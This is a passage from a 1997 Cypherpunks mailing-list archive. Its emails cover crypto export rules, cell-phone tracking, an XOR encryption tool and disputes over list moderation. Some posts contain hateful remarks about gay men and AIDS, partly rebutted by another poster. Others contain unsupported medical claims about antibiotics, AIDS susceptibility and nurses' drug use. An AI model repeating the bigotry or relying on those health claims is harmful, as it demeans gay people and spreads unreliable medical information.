In-Reply-To: <Pine.LNX.3.95.970125111610.12982A-100000@dhp.com>
Message-ID: <199701260017.RAA11394@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970125111610.12982A-100000@dhp.com>, on 01/25/97 
   at 12:32 PM, aga <aga@dhp.com> said:

+Which Attila the Hun is this?
+Is this the rec.nude guy?
+-aga

    response --------------

        I will not say "what is 'rec.nude'" but I have never been there;
    isn't that the one for nudists camps or some such? never been much 
    into worrying about what I wore, or making the statement I did not! 

        I always thought a little mystery was good for both sides:

            she knows not if I have a small dick, 
                I know not if she has no tits;

            la, la, la.. ..

        as to multiple "Attila the Hun" accounts, I probably have as 
    good as any original stake on the name as far as the net goes: 
    --Bell Labs hung it on me in the mid 70s when I was doing some 
    contract work on the unix kernal for Western Electric for the spook 
    show. The name stuck, and why bother to change?

        Other than the fact the nudist might be a real loser, I could 
    care less about a nym;  there are multiple users on other nyms (for 
    all we know, Tim May is a nym and the name is common); you can 
    usually guess by context who is who.  how many of us have actually 
    seen each other face to face (who would want to <g>)?  so, in most 
    cases, real names are no different than nyms in a make believe 
    world.

        now, all that being said...  

        it has been asked... "who the fuck are you?"
        to which I reply: "...good choice of expletives."

        "nobody, I guess;
        "well, let's see...
        "I have a Piled higher and Deeper in Information Techniques from 
    Zuerich (undergrad at Harvard in dual honors physical chemistry);
        "I have been around since before the dawn of arpanet, probably 
    even longer than TCMay; in fact, I was born before Franklin D. 
    Roosevelt dusted off Wendell L. Willkie; 
        "...but I've never held a 'job;' 
        "I have personally coded more than a few 250,000+ line packages, 
    which made me quite comfortable at one time, even if more than one 
    did go down the black hole (along with countless other projects like 
    the bit-slice hardware and firmware to replace B3500s in missle 
    silos);         
        "I have been the hatchet man in numerous high tech recoveries;
        "I have been detained for crypto offenses by the Feds; 
        "I have been detained for 'treasonable' technology export;
        "I have been charged;
        "...a long time ago, in a land far, far away, there was more 
    than one tour in the Corps' "deep-deep black" special operations; 
    the battalion commanding officer for the 'Let's kill 'em all' vacant 
    eyes, the misfits; 
        "a combat chopper pilot; 
        "an instrument rated multi-engine pilots license;
        "a rider of a 102 in. 115+ mph qtr. miler hawg on the street;
        "plus a few other reasons to guarantee an autobiography found on 
    the fiction shelf."

        while playing Hotel California:

            So, who the 'fuck' am I?
            Just another aging 300 lb gorilla, 
            long haired hippie, California freak, 
            with yet another loud outlaw chopper.

        "Oh, yeah, I forgot, I hold a license to practice before the 
    court in a couple European countries (not that I would waste my 
    time...)." 

        "So, who am I, really?  

        "Nobody, I guess, just attila!" 

  ==
  "you probably will not be last,
    you may not be next,
      but you are certainly too late to have been first.  
            --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMuqidr04kQrCC2kFAQGiqgQAqu6qHbbX61IkM0YBXnFAZ2divzWvWPWB
vt/+BHXq55PHmAPq1m2v5Yf0Jnam03abm4hFkvQLFtCg05i8bRaU5L8QiWyJJ3z0
wtMrDKF9VqRtSDhSwUoVwS2affnUUViE4GPBjezNCnuTtwHQ0fr7vgqq8IUr8q4I
dDLp/VCMniE=
=9nng
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 25 Jan 1997 22:03:41 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EAEFED.23AA@gte.net>
Message-ID: <199701260557.XAA01422@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > > One could argue that in the cases where the cures (antibiotics) add to
> > > a person's problems by further corrupting their immune system, that
> > > they should simply change their habits.  Since I don't see that as a
> > > reasonable possibility, the only thing left is that the public should
> > > be made aware of *all* of the relevant facts, even those which are
> > > heavily suppressed now for PC reasons.
> 
> > Why do they take antibiotics?  Just curious.
> 
> I'm not precisely sure, but remember, I'm not saying that your typical
> suburban, well-to-do, successful gay male falls into this category.
> 
> There are, OTOH, a lot of people in the city who have lifestyles which
> are not represented accurately in the prime-time sitcoms, and the ones
> who fall into the greatest health-risk category are IV drug users and
> gay males (in the city, remember - i.e., Santa Monica boulevard).
> 
> Remember too those ads for male sexual lubricants - you cannot use
> a condom with those lubricants.  Safe sex, I don't think so.

That does not come close to a theory that would explain HIV away.

> > Also, I haven't heard that antibiotics were bad for immune system,
> > has that been proven?
> 
> You're kidding, yes?  Anything besides good food, exercise, sleep etc.
> is bad for the immune system.  Antibiotics (usually "dead" germs of
> some sort) are horrendous things to inject directly into your system.

This may very well be true. I try to never use antibiotics,
because I had allergy when I was a child and I also do not
like taking any medications.

There needs to be something more convincing than these generic
statements, if you want to create some plausible theory.

> In October 1959, after lapsing into a coma from a massive sinus
> infection, I was given "a million units of penicillin" in the
> children's hospital when first admitted.  I recovered OK after
> two weeks, so I'm certainly not opposed to antibiotics for those
> who really need them.  OTOH, our U.S. economy today is antibiotic-
> and-hormone crazy, injecting cows, pigs, and chickens to name a few
> animals, all in the hopes of raising production.  So why is the rate
> of cancer going up so high?  It seems nearly everyone I know is
> getting this degenerate disease when they get older.  Check out the
> videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> One quote:  "My soil after a few years was like asbestos".

As far as I understand, 1) no one really understands why cancer rates
are up so much and 2) since people live longer, they are more likely do
have cancer.

What you said is one of the hypotheses. I personally feel that
environment and bad greasy food are other major contributors.
The way they cook all these fries, with overheated grease, is very
bad.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gtaylor@gil.com.au (Greg Taylor)
Date: Sat, 25 Jan 1997 05:58:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have info on foreign "ITARS"
Message-ID: <199701251357.XAA02371@iccu6.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
>Does anyone have any pointers to info about the import/export
>restrictions on encryption products in various countries. I know any
>such summary would be very dynamic, but perhaps there's something
>out there.

The Australian regulations are available at:

CUSTOMS (PROHIBITED EXPORTS) REGULATIONS - SCHEDULE 13 
   http://www.austlii.edu.au/au/legis/cth/consol_reg/cer439/sch13.html

and:

AUSTRALIAN CONTROLS ON THE EXPORT OF DEFENCE AND STRATEGIC GOODS:
   http://www.adfa.oz.au/DOD/al/iic/excontrl/excohome.htm
Crypto software comes under Part 3, Category 5/2 of these regulations.
(These documents are in MS Word format)
 
ADFA, for those who are not aware, is the Australian Defence Force
Academy, the major tertiary training institute for the defence forces.

I have an extract of the key clauses of these regulations if anyone is
interested.

Briefly, the Australian regulations ban cryptography exports, claiming
responsibilities as a party to the Wassenaar Arrangement, although the
actual details of the latter regarding crypto seem obscure.  However, an
export license can be obtained on application to the Defence Ministry.
The conditions of such a license are not openly stated, and at least
one Australian software company has been refused a license.

It would seem that even "public domain" software such as PGP is covered
here.  Ironically, the international version of PGP is available from the 
ADFA site at:
     ftp://ftp.adfa.oz.au/pub/security/pgp263i/
 
The government attitude to crypto policy generally in Australia is much
more relaxed than in the USA.  There is a recognition of business and personal
need for strong crypto and that a balance needs to be sought between those
needs and that of the law enforcement community.  Although key escrow has
been raised as an issue in some circles, it has not formed part of any 
government policy as yet.

Greg Taylor
EFA Crypto Committee





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 25 Jan 1997 22:07:21 -0800 (PST)
To: attila@primenet.com (Attila T. Hun)
Subject: Sort this directly to Flames, was Re: Homosexuals
In-Reply-To: <199701242112.NAA07645@toad.com>
Message-ID: <199701260623.AAA00365@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> In <199701241414.GAA25350@toad.com>, on 01/24/97
>    at 07:17 AM, "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:
> +Anything?  My good friend TRRCJ3 reports from San Francisco that the
> +city is much nicer now that so many homosexuals are 6 feet under.
> +Thank God for AIDS.
>         when AIDS was relatively obscure, I always dismissed AIDS as
>     God's response to homosexuality (and other crimes against nature);
>     i.e. -settlement by a just God.

     I almost threw a dumb ass redneck of a ship in the middle of the ocean
for a comment like this.

    I've read a lot of your rantings on this list, and I agree with some of 
them, but statements like this prove that you are a bigoted idiot. You may
have some areas where you know what you are talking about, and I wouldn't want
to be on the sharp end of a gun you were holding, but your head is definately 
stuck firmly up your ass. 

>         Unfortunately, some of these boy-girls could not keep it among
>     themselves, and the closet queens brought it home.  AIDS replicates

     Let's not forget the Hemophilliacs(spelling) and IV drug users.

>     asexually, knowing no boundaries.

     It was purely by accident that HIV was first noticed in the Homosexual 
population in this country.

    Viruses don't know anything about a persons sexual preference, and any 
so called "god" that would use such a non-selective weapon is not a god 
intelligent people should worship. Such a god would be a blind ignorant god.

>         I would not wish the disease upon anyone, but if you play, you
>     just might pay --as in "...reap what thy hath sown."

    Tell that to some 1 month old whose mother infected him/her. Tell that
to a 5 year old who got it from a blood transfusion. 

>         To be strongly opposed to homosexuality has nothing to do with
>     bigotry, political correctness, or aberrationist apologists; it is
>     an exposition of the natural order among the species.

     Answer me 2 questions:

     1) If homosexuality is a "choice", why would anyone choose that lifestyle
where the averge life expectancy is in the 40's, that causes so much pain 
among ones family, and so much conflict with the rest of society.

     2) If it is not a choice, why would "god" punish those who had no choice? 

>         and for those who deny God, read Darwin as to the relative
>     rate of survival for deviant and/or abnormal species.

     Then how do you explain homosexual behavior in several other species 
that seem to be doing quite well?

     The answer is you can't. You adopt a knee-jerk position that reinforces
your deliberate isolationism. Anything that may cause you to question your 
worldview gets sorted to /dev/evil and you plow ahead like some pig ignorant 
dough boy killing as ordered for king and country.

     






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 01:21:08 -0800 (PST)
To: Lou Zer <satan_is_a_hacker@juno.com>
Subject: Re: [No Subject:]
In-Reply-To: <199701251610.IAA28175@toad.com>
Message-ID: <3.0.1.32.19970126004030.0062f040@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 1/25/97 EST, Lou Zer wrote:
>You missed the hole point. You read that BECAUSE their was no header, if
>it was ANARCHY you would have just deleted it.

Not necessarily; I _am_ an anarchist, after all.
The rest of the header is enough of a potential deterrent, anyway.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: john@travelcash.com (Dr. John Holleman)
Date: Sat, 25 Jan 1997 17:13:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Saw Your Post
Message-ID: <B0000034354@www.netease.net>
MIME-Version: 1.0
Content-Type: text/plain


Interested in traveling and, in the process, earning income in a business that is profitable and realistic?
To receive an instant presentation on how to travel the world and generate solid income, send a blank email to:   travel@megd.com

You should receive the presentation in your email inbox in 10 seconds.

Be Good. You Are.
Dr. John Holleman





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 23:45:34 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260509.XAA01076@manifold.algebra.com>
Message-ID: <32EB23B4.67E8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems. 

> Why do they take antibiotics? Just curious.

  Both male homosexuals and IV drug-users have always suffered from
an inordinate amount of infections, etc., because they are engaging
in physical behavior that Mother Nature had not anticipated, since
the behavior fulfills more of a psychological need than a physical
one.
  Perhaps Mother Nature is homophobic and anti-drug, but, at any 
rate, she did not design the butt-hole to allow virus-free insertion
of outside objects, nor blood-veins to be pierced regularly in
order to insert condensed chemical combinations.
  As a result, those who engage in these behaviors have always had
to deal with the physical effects which result from Nature's 'error'.
IV drug users have always had high incidences of jaundice, etc., 
while male homosexuals have had to contend with various forms of
venereal disease, etc.  In both cases, they end up in a continuing
cycle of antibiotic use.

> Also, I haven't heard that antibiotics were bad for immune system,
> has that been proven?

  There has been great concern raised among those in the medical 
profession regarding the end-effects of their wholesale prescribing
of anitbiotics for colds, aches and pains, etc., leading to the 
development of new strains of virus which are immune to the older
antibiotics. This leads to development of stronger (misused)
antibiotics, which then leads to stronger strains of virus.
  There have been a number of studies which point to the fact that
the human immune system is now caught in a battle between increasingly
potent virus and antibiotics and is losing its capacity to fight
its 'natural' enemies.

  Humans tend to base their 'judgements' on psychological critera.
Thus someone who puts a quart of scotch in their system every day
can turn around and call someone who is putting outside objects 
into their butt-hole a 'pervert' who is doing 'unnatural' things
to their body.
  Personally, I prefer to kill two birds with one stone, so I put
a quart of scotch up my butt-hole every day.

Toto
 
>         - Igor.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 01:25:16 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0B28.3F64CFA0@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto and Jim Choate were having a little disagreement about the rights of 
nations to maintain the boundaries of ignorance around their "citizenry", 
and Jim said that no one outside a nation's boundaries should feel moved to 
interfere with the program:

> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.
............................................................


Normally, I would agree that people who choose to live within a certain 
locale and choose the kind of government that they will live with and the 
kind of policies that they will accept as impositions upon their lives, 
should be allowed to "enjoy the fruits of their labors".

But on further examination of the situation in 'foreign' countries, these 
things must be realized:

.  Individuals do not agree with each other 100%

.  Individuals living within the boundaries of a nation will not agree with 
each other 100% about the kind of government they should have

.  Many of the individuals living within the boundaries of *any* nation do 
not have 100% control over which policies, or the quality of them, they 
will have to live under

.  It is not uncommon for "leaders" of nations to take advantage of their 
position to benefit more from the contributions of their citizenry than 
vice versa (the citizenry benefitting from their leadership)

.  It is not uncommon for there to be proportionately more people in favor 
of living in a state of dependence than not;  and it is not uncommon for 
those who favor dependence to favor proposals which seem to put them on the 
receiving end of "benefits" (versus being contributors); and it is not 
uncommon for these "benefits" to be derived at the expense of such virtues 
as freedom and liberty

.  Many individuals reside within a nation not because they favor its po  
litics, but because they feel more comfortable among their own kind than 
with strangers elsewhere - for example, Chinese who have lived in China all 
their lives (and whose ancestral roots are there) will wish to stay there 
and do what they can within the boundaries of that nation, rather than for 
instance moving to Canada, when the going gets rough.

Given these things, nevertheless it is true that the internet , among other 
events in our "modern" world, is opening up avenues towards advantages and 
benefits hitherto difficult to comeby.   As many of you are aware, many 
people are beginning to identify with a global network of friends and 
co-workers according to their particular (or peculiar) interests, rather 
than with the "Old Order".   It is becoming moot what nationality or what 
government or what company one works for - the loyalties of the past are 
being tested and re-configured in the minds of those who now do business 
and communicate and share things and develop friendships, acquaintances, 
and empathies, on the net.

So to speak of "having a say" on how Singapore or China or any other 
nation-state runs "our web" or vice versa "us" having a say on how they run 
"their web" is becoming irrelevant.   Economics will be determining how the 
web is run, and by whom.     The identity of those who use it will be not 
"those who are citizens of Singapore", but:  "my friend who lives in 
Singapore and is having a hard time accessing a file that I wanted him/her 
to have".   Affiliations will be seen differently by those who connect in 
cyberspace, and if certain of one's cyberspace friends are having problems 
- if, say, a Hitler were to suddenly rise up in their midst - then the 
netizens could send their emergency alert out to anyone and everyone on the 
net about a problem brewing which perhaps someone could help them deal 
with, according to their ability to do so.

It is true that individuals still live within the physical boundaries of 
"nations" which have formed in the past, and they still hold the concepts 
of these boundaries in their minds and they still identify closely with 
these, and they still vote problems upon themselves.   But it is becoming 
an anachronism, and it is becoming inaccurate to speak of "what 
Singaporians want for the internet".    This phrase would describe many of 
those who live in Singapore, but not all of them.   It is more accurate to 
speak of what  "individuals who use the internet" want, of what 
 "individuals who want to communicate" want, of what  "individuals who want 
to connect with others" want.

The identifications of self as a citizen who must be identified with the 
vote of a majority, and consequently suffer the perception of oneself as 
someone who "voted to accept restrictions of the net, therefore should not 
be helped against it", is becoming irrelevant.   When a distress call goes 
out from someone anywhere on the planet, the assistance and relief may come 
from anyone anywhere who chooses to rally others and provide assistance.

It is not the traditional "we" against "them", and it is not the "citizens 
of the US" helping those who "voted themselves a Hitler into power" or 
"voted themselves into restrictions against free speech".   It is "those of 
us who appreciate the liberty in communications technology" against "those 
who would take it away".

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 23:45:38 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260531.XAA01225@manifold.algebra.com>
Message-ID: <32EB25C5.6FB7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> 
> > Dale's hypothesis seems at odds with the linkage of aids and blood
> > transfusion and transmission through needles.
> > Nurses who contract aids through contaminated needles do not,
> > normally, have devastated immune systems.

> It seems to me that "proof" of someone acquiring AIDS from one stab
> with a contaminated needle is a very nebulous thing. As far as nurses
> go, the contact I've had with many of them tells me they are also
> (on average) drug users extraordinaire. 

  Nurses have free access to all types of antibiotics and high-inducing
drugs, and a good many of them are regular users of both.
  Hospitals are notoriously bad places for healthy people to go, as many
go in with little diseases and come out with big diseases (for which
they are often re-hospitalized).
  Also, outward appearances rarely have a whole lot to do with
indications
of a superior auto-immune system. Plants have been bred to 'look pretty'
for the consumer, so we now have unblemished food stuffs which require
huge applications of poisonous chemicals in order to survive, because
they have lost their natural ability to defend themselves against even
ordinary plant pests and diseases.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 00:01:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ultimate Flames List
In-Reply-To: <md5:DDE3023A3777C55A3CF882F35D08AC0E>
Message-ID: <32EB2B89.2B4B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
 > My point about the antibiotics is that the male gays take a dis-
 > proportionate amount of them, which compounds their problems.  It
 > suggests to me that the immune system is already seriously
debilitated
 > or damaged before AIDS can take hold, rather than the notion that a
 > healthy person can get it from the virii alone.
 
   It has been suggested that disease is merely an attempt by Nature to
 'moderate' the species.
   One could make a strong case for Nature merely 'sorting' individuals
 into physical lists, one of which is her own 'flames' list. It remains
 to be seen whether Nature also plans on dropping the 'flames' list
 after her moderation experiment is over.
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 02:24:10 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Cellular location...
In-Reply-To: <199701260110.RAA06000@toad.com>
Message-ID: <3.0.1.32.19970126020648.0063ab98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:54 PM 1/25/97 -0500, Mark M. wrote:
>> Companies working on the technology to track cellular phone calls
>> [...]
>I wonder how expensive it would be to put a GPS receiver in a cell phone and
>have the option to transmit the coordinates on a separate channel.  

Pretty expensive - GPS receivers currently cost ~$200, which is more
than the average cell phone, and needs a whole separate set of 
radio-receiver hardware, so you'd about double the size of your phone.
On the other hand, the cell sites already know which you're close to,
and can easily enough track when you've made transitions between cells.
So they can get a good start on location by processing information that the
phone companies need to have anyway.  Would they save any of this
for later?  Of course not :-)

>"location escrow" to make it easier for the feds to track drug dealers.
And everybody else....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bernard <bernard@xs4all.nl>
Date: Sun, 26 Jan 1997 17:45:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DPT   Win 3.xx,  95,  NT   ENCRYPTION program
In-Reply-To: <199701261600.KAA04355@manifold.algebra.com>
Message-ID: <32EB2D79.7C5B@xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


> Igor Chudov @ home wrote:

> > Newsgroups: comp.security.misc
> > * DPT   Win 3.xx,  95,  NT   ENCRYPTION program

> > * at;      http://www.xs4all.nl/~bernard

> > Bernard, thanks for an interesting post. I am Cc-ing your message to
> > Cypherpunks mailing list which is ostensibly dedicated to discussions
> > of cryptography.
> >
> > As follows from info on your home page, you do use simple XOR to
> > encrypt your data. It was not clear to me though, how do you generate
> > the keys to encrypt the data. I am sure that many readers of cypherpunks
> > mailing list will be interested, so please send a copy of your reply
> > to cypherpunks@toad.com.

You can enter a short key or import one with command [Get Key]. This is, you point
any file, and the key will become the 30000 first characters of this file.

You can get this file any where on your machine, the network, the internet, foppy,,,,,
If you add (paste or type) or delete characters at the begining of the imported key,
the reste will shift right, and this imported key become a new key.

You can't remember a key of 30000 chr (so you have to store it) but you can remenber the 
the change you made (10 to 100 or more chr) and of course, don't store it.

Thank you for your interest.
 
 DPT dos  /  DPT16 /  DPT32     http://www.xs4all.nl/~bernard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:15:20 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: overview.htm (fwd)
Message-ID: <01BC0B2F.588DFCC0@king1-04.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


>Igor Chudov @ home wrote:
>>>Jim Choate wrote:
>>>>>Dr.Dimitri Vulis KOTM wrote:
>>>>>>>irrelevant@nowhere.com wrote:
>>>>>>>>>>Dale Thorn wrote:

It can be said 100,000 times, but it still comes out the same:
Just as in "The only cure for bad speech is more speech", "the only
cure for 'list-focus-drift' is more on-focus postings".







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:15:24 -0800 (PST)
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <01BC0B2F.5CF108C0@king1-04.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.
.................................................

Well, Toto, if you don't like this obeservation, you can always unsudribe 
from "unmoderated" and subcrive to "expurgated".   There's also a rumor 
about a new "exfoliated" list for Snakes of Medusa starting up....

(I swear, I Toto is a tentacle of TCM)

    ..
Blanc
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:33:41 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: US Info Supremacy
Message-ID: <01BC0B31.E81ABA20@king1-17.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	John Young

Hello, Tim May and our other solons and Solomons.
........................................

He must be on vacation; he hasn't posted in quite a while.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:33:46 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <01BC0B31.EC43CA60@king1-17.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.
.................................................

Well, Toto, if you don't like this obeservation, you can always unsudribe from "unmoderated" and subcrive to "expurgated".  

(There's also a rumor about a new "exfoliated" list for Snakes of Medusa starting up....)

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 00:46:01 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701260749.AAA25243@infowest.com>
Message-ID: <32EB3666.62F8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>         I question how Sandy can accept the job as moderator, passing
>     judgement on 100-300 messages per day.  just trimming spam is
>     questionable: what is spam?  flames: what draws the line at flames:

 It is whatever the moderator decides it is, depending upon h/is/er 
intelligence, understanding, mood, command of language, sobriety,
etc., etc., etc.

>         and, I think cypherpunks is setting an atrocious example of our
>     own narrow mindedness (creditable or not) when we sanction any
>     filtering of what we see --is this not **exactly** what we accuse
>     the controlled media of determining what is "fit to print?"

 I am certain that there are members of the controlled media who are
ROTL at the CypherPunks following in their footsteps, after having
belittled the media for years for their sheep-mentality.
 
>         unfortunately, we are demonstrating to our critics that 
>         a)  net anarchy does not work
>         b)  cyberlibertarianism breeds anarchy
>         c)  we're loose cannons on the deck
>         d)  we are not civilized enough to warrant respect

 We are also demonstrating that all of the CypherPunk rhetoric about
cryptography and freedom and... was just a lot of 'smoke' being 
blown by a bunch of pretenders who folded like a busted flush when
they were 'told' that the man who owns the Machine will now subject
them to the whims of whatever moderation he sees fit to impose on
the list.
  Cryptography is about privacy. Apparently, however, the New List
Order is of the opinion the Privacy Without Freedom is an obtainable
goal.

>         --catch22: just how do set the laws on limits, and how do you
>     enforce the limits if you have voted to dissolve all 'government'
>     and 'police?'

  It doesn't matter if the 'owner' of the list/Machine decides that s/he
is now the government, with the power and/or right to make all decisions
concerning the list.

>         good luck, Sandy;  make sure you pull a sanity check everyday
>     when you start and finish the onerous task!

  I think that anyone who thinks that moderation is, or could ever be,
anything other than a dance into the arms of the establishment, is
already crazy.
  For the record, I don't think that either John or Sandy is crazy.
I think that they have their own pre-established goals which others
on the cypherpunks list are not privy to.
  Of course, this is my personal opinion, and I could be wrong.
  On the other hand, I could be 'right' like I am about everything
else.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 26 Jan 1997 02:55:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Toto's database
Message-ID: <3.0.32.19970126025513.006ba14c@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto writes:

>My database seems to indicate a direct co-relation between the
>number of postings criticizing moderation and the number of
>UCE/Spam postings showing up on the list.

An interesting assertion. Is your database available for others to draw
their own conclusions from? I'd appreciate seeing at least a first-level
abstraction of the data, e.g., the number of messages posted in opposition
to moderation and the number of "spam" messages posted, listed by date. The
possibility that other factors caused the correlation you mention suggests
that other categorizations (e.g., total # of messages, # of messages which
are not spam nor related to moderation, and # of pro-moderation messages)
would also be useful, although I notice you do not mention those statistics.

Of course, correlation alone doesn't tell us much. If it really exists, it
suggests that the two phenomena observed are related in some way, but it
doesn't tell us the nature or the cause of the relationship. (All serial
killers drink water; but are all water-drinkers serial killers? Does
drinking water cause a person to become a serial killer?)

One explanation would be the link you suggested, that a moderation
proponent is sending (or causing to be sent) the spams as a way to make
moderation seem more attractive, or to detract attention from the
anti-moderation arguments. (If that really worked - e.g., if spam had the
effect of reducing the effectiveness of certain arguments, or of being
harmfully "diversionary" - wouldn't that suggest that moderation was, in
fact, necessary or at least useful? Hmm.)

Another explanation would be that a moderation opponent is sending the
spams as a way to punish the proponents of moderation.

It's further conceivable that you don't have a big enough data set to draw
meaningful conclusions from. The moderation decision, implementation, and
associated arguing have taken place within three weeks (John Gilmore's
original announcement was sent Sunday 1/5/97); it's hard to see how you're
going to be able to distinguish signal from noise in such a small data set.
I think this is especially true given the relatively inexact nature of the
"spam" weapon; as far as I can tell, apart from Dmitri's ASCII
art/cocksucker messages, the spams we've received have been from real live
spammers (not pissed-off listmembers) who harvested the
"cypherpunks@toad.com" address from messages sent to Usenet as spam bait.
Inherent in the "spam bait" attack is a lack of precise control over when
messages will be sent, or how many will be sent; so I'm curious about the
reliability of a correlation you've found between the actions of
distributed third parties (who are pursuing their own, cypherpunk-ignorant,
goals) and messages sent to the list.

Yet another explanation might identify external factors (like the recent
storms in the American midwest) which caused people to send more messages
independent of their ideology or content. My ISP, io.com, recorded much
heavier mail flow recently (to the point that it created problems for
delivery) during the storm; speculation is that people were stuck at home
for several days and turned to the Net to amuse themselves. Such an event
might cause otherwise independent-minded groups (spammers and moderation
opponents) to act in similar ways, like sending more messages than usual.
Of course, one would expect to see a rise in all message traffic, were this
the case.

Perhaps you'll be good enough to make your database available so that we
may each draw our own conclusions. I'm looking forward to hearing more
about how you derived this correlation. (If you have trouble finding a
server from which to make the data available, just say so; if nobody else
has a handy server, I'll add it to my web page.)

>Has anyone actually 'seen' John Gilmore, lately?

He was at C2Net's party last Friday night (1/24), being interviewed by some
folks from a Japanese TV program.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 03:42:14 -0800 (PST)
